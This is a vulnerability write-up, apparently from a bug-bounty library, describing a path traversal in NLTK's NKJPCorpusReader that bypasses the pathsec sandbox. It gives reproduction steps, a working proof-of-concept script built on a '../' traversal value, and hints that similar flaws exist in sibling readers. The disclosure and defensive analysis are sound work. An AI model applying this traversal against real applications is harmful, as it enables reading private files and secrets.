# Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

NKJPCorpusReader concatenates attacker-controlled fileids into paths and opens them with builtin open(), escaping the corpus root and bypassing nltk.pathsec ENFORCE=True to read arbitrary files.

- Payout: Research
- Severity: high
- Program: NLTK
- Found by: LinZiyuu
- Disclosed: 2026-07-31
- CVE: CVE-2026-12072
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6hm5-jgcp-p838
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6hm5-jgcp-p838
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:python technique:source-review vuln:info-disclosure vuln:path-traversal

**Target:** Python library corpus reader (NKJPCorpusReader)
**Root cause:** add_root() builds paths by plain string concatenation without normalization or containment checks, and the reader opens files via builtin open()/os.path.join instead of the hardened FileSystemPathPointer/CorpusReader.open() that calls nltk.pathsec.validate_path.
**Steps:**
1. Install nltk==3.9.4 and create an NKJP corpus root containing sample/header.xml.
2. Create a target file outside the root, e.g. /tmp/OUTSIDE_ROOT_YYYY/header.xml with secret content.
3. Set `nltk.pathsec.ENFORCE = True`.
4. Instantiate `NKJPCorpusReader(root=root + "/", fileids="sample")`.
5. Call `reader.header(fileids=[root + "/../../../../../../.." + secret_dir + "/"])` to traverse out of the root.
6. Observe builtin open() reads the out-of-root header.xml and its parsed title is returned, with no PermissionError.
**How found:** Compared SECURITY.md's pathsec guarantee (enforced via FileSystemPathPointer.open()/CorpusReader.open() calling validate_path) against NKJPCorpusReader, noticing add_root() uses plain string concatenation and the views reach the filesystem through builtin open()/os.path.join, never consulting pathsec; confirmed by intercepting builtins.open under ENFORCE=True.
**Exploitation:** An app that lets users choose which corpus document to read passes their value into fileids; the attacker supplies a path with ../ sequences (or an absolute path) that escapes the corpus root, and header() returns the parsed content of an out-of-root header.xml. raw()/words()/sents() also open arbitrary out-of-root files but a separate XML_Tool bug suppresses their return value.
**Insight:** When a library advertises a sandbox (pathsec ENFORCE), grep for builtin open()/os.path.join in readers that bypass the hardened PathPointer API — any reader building paths by string concat is a candidate, and the same anti-pattern recurs across sibling readers (xmldocs, util, crubadan, lin, ipipan, pl196x).

## Proof of concept (copied exactly from the original report)

**PoC script reading file outside corpus root**

```
import builtins, os, shutil, tempfile, warnings
   warnings.simplefilter("ignore")
   import nltk, nltk.pathsec as pathsec
   from nltk.corpus.reader.nkjp import NKJPCorpusReader

   print("nltk", nltk.__version__)

   # A legitimate, empty NKJP corpus root (what a real app has).
   root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
   os.makedirs(os.path.join(root, "sample"), exist_ok=True)
   open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")

   # The attacker's target: a file OUTSIDE the corpus root.
   secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
   open(os.path.join(secret_dir, "header.xml"), "w").write(
   "<teiHeader><fileDesc><sourceDesc><bibl>"
   "<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
       "</bibl></sourceDesc></fileDesc></teiHeader>")

   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.
   pathsec.ENFORCE = True
   print("ENFORCE =", pathsec.ENFORCE)

   # Prove the out-of-root read and that pathsec is never consulted.
   opened = []; real = builtins.open
   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

   reader = NKJPCorpusReader(root=root + "/", fileids="sample")
   # Attacker-controlled `fileids`; '..' escapes the corpus root:
   evil = root + "/../../../../../../.." + secret_dir + "/"
   try:
       result = reader.header(fileids=[evil])
   finally:
       builtins.open = real

   print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
   print("disclosed content  :", result[0]["title"])
   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)
```

